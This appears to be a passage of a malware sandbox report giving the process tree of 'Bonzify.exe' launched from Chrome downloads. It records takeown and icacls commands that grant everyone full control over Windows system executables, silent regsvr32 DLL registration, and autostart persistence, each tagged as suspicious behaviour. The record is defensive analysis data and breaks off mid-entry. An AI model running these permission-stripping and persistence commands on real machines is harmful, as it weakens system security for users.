  2⤵
  PID:4260
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --field-trial-handle=5752,i,2463655092055193928,2379543797249018598,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=4516 /prefetch:1
  2⤵
  PID:1836
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=4312,i,2463655092055193928,2379543797249018598,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=3328 /prefetch:14
  2⤵
  - Subvert Trust Controls: Mark-of-the-Web Bypass
  - NTFS ADS
  PID:6032

C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
1⤵
PID:1980

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:3944

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x00000000000004C4 0x00000000000004E8
1⤵
PID:580

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:1516
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffa0085dcf8,0x7ffa0085dd04,0x7ffa0085dd10
  2⤵
  PID:2092
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=1840,i,5667782950481943229,9851121085474371068,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=1968 /prefetch:11
  2⤵
  PID:5180
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=1928,i,5667782950481943229,9851121085474371068,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=1924 /prefetch:2
  2⤵
  PID:3896
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=2348,i,5667782950481943229,9851121085474371068,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=1620 /prefetch:13
  2⤵
  PID:3712
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3220,i,5667782950481943229,9851121085474371068,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=3444 /prefetch:1
  2⤵
  PID:3368
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3304,i,5667782950481943229,9851121085474371068,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=3484 /prefetch:1
  2⤵
  PID:4488
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4468,i,5667782950481943229,9851121085474371068,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=4500 /prefetch:1
  2⤵
  PID:2736
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5040,i,5667782950481943229,9851121085474371068,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=5056 /prefetch:14
  2⤵
  PID:2264
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5244,i,5667782950481943229,9851121085474371068,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=5252 /prefetch:14
  2⤵
  PID:244
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5044,i,5667782950481943229,9851121085474371068,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=5068 /prefetch:14
  2⤵
  PID:2080
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5468,i,5667782950481943229,9851121085474371068,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=5476 /prefetch:14
  2⤵
  PID:5968
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5200,i,5667782950481943229,9851121085474371068,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=5104 /prefetch:14
  2⤵
  PID:4420
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5464,i,5667782950481943229,9851121085474371068,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=5112 /prefetch:14
  2⤵
  PID:5960
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --field-trial-handle=5104,i,5667782950481943229,9851121085474371068,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=5448 /prefetch:1
  2⤵
  PID:5580
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5772,i,5667782950481943229,9851121085474371068,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=5796 /prefetch:14
  2⤵
  PID:3888
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --extension-process --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --field-trial-handle=3664,i,5667782950481943229,9851121085474371068,262144 --variations-seed-version=20250313-050105.095000 --mojo-platform-channel-handle=3512 /prefetch:9
  2⤵
  PID:5112
- C:\Users\Admin\Downloads\Bonzify.exe
  "C:\Users\Admin\Downloads\Bonzify.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:3612
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\KillAgent.bat"
    3⤵
    PID:5540
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im AgentSvr.exe
      4⤵
      Kills process with taskkill
      PID:240
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /r /d y /f C:\Windows\MsAgent
      4⤵
      PID:1360
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\MsAgent /c /t /grant "everyone":(f)
      4⤵
      PID:3204
- - C:\Users\Admin\AppData\Local\Temp\INSTALLER.exe
    INSTALLER.exe /q
    3⤵
    - Boot or Logon Autostart Execution: Active Setup
    - Executes dropped EXE
    - Loads dropped DLL
    - Drops file in Windows directory
    - Suspicious use of SetWindowsHookEx
    PID:3892
  - - C:\Windows\SysWOW64\regsvr32.exe
      regsvr32 /s "C:\Windows\msagent\AgentCtl.dll"
      4⤵
      Loads dropped DLL
      Modifies registry class
      PID:1112
  - - C:\Windows\SysWOW64\regsvr32.exe
      regsvr32 /s "C:\Windows\msagent\AgentDPv.dll"
      4⤵
      Loads dropped DLL
      Modifies registry class
      PID:1496
  - - C:\Windows\SysWOW64\regsvr32.exe
      regsvr32 /s "C:\Windows\msagent\mslwvtts.dll"
      4⤵
      Loads dropped DLL
      PID:5952
  - - C:\Windows\SysWOW64\regsvr32.exe
      regsvr32 /s "C:\Windows\msagent\AgentDP2.dll"
      4⤵
      Loads dropped DLL
      PID:5184
  - - C:\Windows\SysWOW64\regsvr32.exe
      regsvr32 /s "C:\Windows\msagent\AgentMPx.dll"
      4⤵
      Loads dropped DLL
      Modifies registry class
      PID:4340
  - - C:\Windows\SysWOW64\regsvr32.exe
      regsvr32 /s "C:\Windows\msagent\AgentSR.dll"
      4⤵
      Loads dropped DLL
      PID:5244
  - - C:\Windows\SysWOW64\regsvr32.exe
      regsvr32 /s "C:\Windows\msagent\AgentPsh.dll"
      4⤵
      Loads dropped DLL
      PID:5160
  - - C:\Windows\msagent\AgentSvr.exe
      "C:\Windows\msagent\AgentSvr.exe" /regserver
      4⤵
      Executes dropped EXE
      Modifies registry class
      Suspicious use of SetWindowsHookEx
      PID:3048
  - - C:\Windows\SysWOW64\grpconv.exe
      grpconv.exe -o
      4⤵
      PID:2108
- - C:\Users\Admin\AppData\Local\Temp\INSTALLER.exe
    INSTALLER.exe /q
    3⤵
    - Boot or Logon Autostart Execution: Active Setup
    - Executes dropped EXE
    - Loads dropped DLL
    - Adds Run key to start application
    - Drops file in System32 directory
    - Drops file in Windows directory
    - Suspicious use of SetWindowsHookEx
    PID:5668
  - - C:\Windows\SysWOW64\regsvr32.exe
      regsvr32 /s C:\Windows\lhsp\tv\tv_enua.dll
      4⤵
      Loads dropped DLL
      PID:2484
  - - C:\Windows\SysWOW64\regsvr32.exe
      regsvr32 /s C:\Windows\lhsp\tv\tvenuax.dll
      4⤵
      Loads dropped DLL
      PID:4676
  - - C:\Windows\SysWOW64\grpconv.exe
      grpconv.exe -o
      4⤵
      PID:1684

C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
1⤵
PID:688

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:3568

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c RunDll32 advpack.dll,LaunchINFSection C:\Windows\INF\tv_enua.inf, RemoveCabinet
1⤵
PID:2480
- C:\Windows\system32\rundll32.exe
  RunDll32 advpack.dll,LaunchINFSection C:\Windows\INF\tv_enua.inf, RemoveCabinet
  2⤵
  - System Binary Proxy Execution: Rundll32
  - Drops file in Windows directory
  PID:5220

C:\Windows\msagent\AgentSvr.exe
C:\Windows\msagent\AgentSvr.exe -Embedding
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
PID:1428

C:\Windows\explorer.exe
explorer.exe
1⤵
- Boot or Logon Autostart Execution: Active Setup
- Enumerates connected drives
- Subvert Trust Controls: Mark-of-the-Web Bypass
- Checks SCSI registry key(s)
- Modifies Internet Explorer settings
- Modifies registry class
- NTFS ADS
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
PID:1392
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe"
  2⤵
  - Drops file in Windows directory
  - Enumerates system info in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  PID:4420
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0x10c,0x110,0x114,0xe8,0x118,0x7ffa0085dcf8,0x7ffa0085dd04,0x7ffa0085dd10
    3⤵
    PID:3964
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=1724,i,734889707556530819,5505879270977104822,262144 --variations-seed-version=20250406-180222.955000 --mojo-platform-channel-handle=1984 /prefetch:11
    3⤵
    PID:3240
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=1948,i,734889707556530819,5505879270977104822,262144 --variations-seed-version=20250406-180222.955000 --mojo-platform-channel-handle=1944 /prefetch:2
    3⤵
    PID:1860
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=2288,i,734889707556530819,5505879270977104822,262144 --variations-seed-version=20250406-180222.955000 --mojo-platform-channel-handle=2304 /prefetch:13
    3⤵
    PID:3048
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3196,i,734889707556530819,5505879270977104822,262144 --variations-seed-version=20250406-180222.955000 --mojo-platform-channel-handle=3408 /prefetch:1
    3⤵
    PID:2676
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3312,i,734889707556530819,5505879270977104822,262144 --variations-seed-version=20250406-180222.955000 --mojo-platform-channel-handle=3456 /prefetch:1
    3⤵
    PID:4028
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4440,i,734889707556530819,5505879270977104822,262144 --variations-seed-version=20250406-180222.955000 --mojo-platform-channel-handle=4460 /prefetch:1
    3⤵
    PID:3420
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5104,i,734889707556530819,5505879270977104822,262144 --variations-seed-version=20250406-180222.955000 --mojo-platform-channel-handle=5112 /prefetch:14
    3⤵
    PID:5552
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5304,i,734889707556530819,5505879270977104822,262144 --variations-seed-version=20250406-180222.955000 --mojo-platform-channel-handle=5316 /prefetch:14
    3⤵
    PID:860
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --field-trial-handle=5444,i,734889707556530819,5505879270977104822,262144 --variations-seed-version=20250406-180222.955000 --mojo-platform-channel-handle=5524 /prefetch:1
    3⤵
    PID:5308
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5728,i,734889707556530819,5505879270977104822,262144 --variations-seed-version=20250406-180222.955000 --mojo-platform-channel-handle=5732 /prefetch:14
    3⤵
    PID:2368
- - C:\Users\Admin\Downloads\Bonzify.exe
    "C:\Users\Admin\Downloads\Bonzify.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Modifies Control Panel
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious use of SetWindowsHookEx
    PID:4900
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\KillAgent.bat"
      4⤵
      PID:3556
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im AgentSvr.exe
        5⤵
        Loads dropped DLL
        
        PID:4908
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4908 -s 652
        6⤵
        Loads dropped DLL
        Program crash
        
        PID:2088
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /r /d y /f C:\Windows\MsAgent
        5⤵
        
        PID:3472
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\Windows\MsAgent /c /t /grant "everyone":(f)
        5⤵
        
        PID:3904
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\assembly\GAC_32\MSBuild\3.5.0.0__b03f5f7f11d50a3a\MSBuild.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:5860
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\assembly\GAC_32\MSBuild\3.5.0.0__b03f5f7f11d50a3a\MSBuild.exe"
        5⤵
        
        PID:5928
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\assembly\GAC_32\MSBuild\3.5.0.0__b03f5f7f11d50a3a\MSBuild.exe" /grant "everyone":(f)
        5⤵
        
        PID:864
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\assembly\GAC_64\MSBuild\3.5.0.0__b03f5f7f11d50a3a\MSBuild.exe"
      4⤵
      PID:1188
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\assembly\GAC_64\MSBuild\3.5.0.0__b03f5f7f11d50a3a\MSBuild.exe"
        5⤵
        
        PID:5952
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\assembly\GAC_64\MSBuild\3.5.0.0__b03f5f7f11d50a3a\MSBuild.exe" /grant "everyone":(f)
        5⤵
        Possible privilege escalation attempt
        
        PID:5068
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\assembly\GAC_MSIL\ComSvcConfig\3.0.0.0__b03f5f7f11d50a3a\ComSvcConfig.exe"
      4⤵
      PID:1856
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\assembly\GAC_MSIL\ComSvcConfig\3.0.0.0__b03f5f7f11d50a3a\ComSvcConfig.exe"
        5⤵
        
        PID:5244
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\assembly\GAC_MSIL\ComSvcConfig\3.0.0.0__b03f5f7f11d50a3a\ComSvcConfig.exe" /grant "everyone":(f)
        5⤵
        Modifies file permissions
        
        PID:5508
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\assembly\GAC_MSIL\dfsvc\2.0.0.0__b03f5f7f11d50a3a\dfsvc.exe"
      4⤵
      PID:1964
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\assembly\GAC_MSIL\dfsvc\2.0.0.0__b03f5f7f11d50a3a\dfsvc.exe"
        5⤵
        
        PID:344
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\assembly\GAC_MSIL\dfsvc\2.0.0.0__b03f5f7f11d50a3a\dfsvc.exe" /grant "everyone":(f)
        5⤵
        
        PID:5368
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\assembly\GAC_MSIL\PresentationFontCache\3.0.0.0__31bf3856ad364e35\PresentationFontCache.exe"
      4⤵
      PID:2044
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\assembly\GAC_MSIL\PresentationFontCache\3.0.0.0__31bf3856ad364e35\PresentationFontCache.exe"
        5⤵
        
        PID:5984
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\assembly\GAC_MSIL\PresentationFontCache\3.0.0.0__31bf3856ad364e35\PresentationFontCache.exe" /grant "everyone":(f)
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3720
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\assembly\GAC_MSIL\SMSvcHost\3.0.0.0__b03f5f7f11d50a3a\SMSvcHost.exe"
      4⤵
      PID:5788
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\assembly\GAC_MSIL\SMSvcHost\3.0.0.0__b03f5f7f11d50a3a\SMSvcHost.exe"
        5⤵
        Possible privilege escalation attempt
        
        PID:1940
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\assembly\GAC_MSIL\SMSvcHost\3.0.0.0__b03f5f7f11d50a3a\SMSvcHost.exe" /grant "everyone":(f)
        5⤵
        
        PID:2592
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\assembly\GAC_MSIL\WsatConfig\3.0.0.0__b03f5f7f11d50a3a\WsatConfig.exe"
      4⤵
      PID:2796
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\assembly\GAC_MSIL\WsatConfig\3.0.0.0__b03f5f7f11d50a3a\WsatConfig.exe"
        5⤵
        
        PID:912
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\assembly\GAC_MSIL\WsatConfig\3.0.0.0__b03f5f7f11d50a3a\WsatConfig.exe" /grant "everyone":(f)
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4856
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\bfsvc.exe"
      4⤵
      PID:4008
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\bfsvc.exe"
        5⤵
        
        PID:1420
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\bfsvc.exe" /grant "everyone":(f)
        5⤵
        Modifies file permissions
        
        PID:3520
  - - C:\Users\Admin\AppData\Local\Temp\INSTALLER.exe
      INSTALLER.exe /q
      4⤵
      Boot or Logon Autostart Execution: Active Setup
      Executes dropped EXE
      Loads dropped DLL
      Drops file in Windows directory
      Suspicious use of SetWindowsHookEx
      PID:4092
    - - C:\Windows\SysWOW64\regsvr32.exe
        
        regsvr32 /s "C:\Windows\msagent\AgentCtl.dll"
        5⤵
        Loads dropped DLL
        Modifies registry class
        
        PID:1468
    - - C:\Windows\SysWOW64\regsvr32.exe
        
        regsvr32 /s "C:\Windows\msagent\AgentDPv.dll"
        5⤵
        Loads dropped DLL
        Modifies registry class
        
        PID:1952
    - - C:\Windows\SysWOW64\regsvr32.exe
        
        regsvr32 /s "C:\Windows\msagent\mslwvtts.dll"
        5⤵
        Loads dropped DLL
        Modifies registry class
        
        PID:4484
    - - C:\Windows\SysWOW64\regsvr32.exe
        
        regsvr32 /s "C:\Windows\msagent\AgentDP2.dll"
        5⤵
        Loads dropped DLL
        Modifies registry class
        
        PID:2668
    - - C:\Windows\SysWOW64\regsvr32.exe
        
        regsvr32 /s "C:\Windows\msagent\AgentMPx.dll"
        5⤵
        Loads dropped DLL
        Modifies registry class
        
        PID:3356
    - - C:\Windows\SysWOW64\regsvr32.exe
        
        regsvr32 /s "C:\Windows\msagent\AgentSR.dll"
        5⤵
        Loads dropped DLL
        
        PID:5164
    - - C:\Windows\SysWOW64\regsvr32.exe
        
        regsvr32 /s "C:\Windows\msagent\AgentPsh.dll"
        5⤵
        Loads dropped DLL
        
        PID:3636
    - - C:\Windows\msagent\AgentSvr.exe
        
        "C:\Windows\msagent\AgentSvr.exe" /regserver
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Modifies registry class
        Suspicious use of SetWindowsHookEx
        
        PID:1112
    - - C:\Windows\SysWOW64\grpconv.exe
        
        grpconv.exe -o
        5⤵
        Loads dropped DLL
        
        PID:3736
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
      4⤵
      PID:1868
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
        5⤵
        
        PID:4536
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe" /grant "everyone":(f)
        5⤵
        Modifies file permissions
        System Location Discovery: System Language Discovery
        
        PID:3616
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\Boot\PCAT\memtest.exe"
      4⤵
      PID:5508
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\Boot\PCAT\memtest.exe"
        5⤵
        
        PID:4880
    - - C:\Windows\SysWOW64\icacls.exe
        
